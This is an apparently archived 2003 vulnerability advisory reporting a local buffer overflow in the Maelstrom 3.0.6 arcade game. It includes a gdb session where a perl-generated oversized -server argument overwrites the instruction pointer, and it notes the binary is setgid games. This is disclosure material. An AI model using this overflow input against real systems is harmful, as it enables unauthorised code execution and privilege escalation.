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Maelstrom Buffer Overflow
From: Luca Ercoli <luca.ercoli () inwind it>
Date: 18 May 2003 13:52:04 -0000
Maelstrom is an arcade game. There is a buffer overflow vulnerability in
Maelstrom which allow local attacker
arbitrary code execution.
Vulnerable systems: Maelstrom 3.0.6
[lucae () linux]$ gdb /usr/bin/Maelstrom
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This GDB was configured as "i586-mandrake-linux-gnu"...
(gdb) set args -server 2 () `perl -e 'print "ABCD" x 9999'`
Starting program: /usr/bin/Maelstrom -server 2 () `perl -e 'print "ABCD" x
Couldn't resolve host name for ABCDABC......ABCD
Program received signal SIGSEGV, Segmentation fault.
0x41444342 in ?? ()
Note: -rwxr-sr-x 1 root games 171568 19 feb
03:38 /usr/bin/Maelstrom in Linux Professional 9.0
Luca Ercoli luca.ercoli () inwind it
- Maelstrom Buffer Overflow Luca Ercoli (May 19)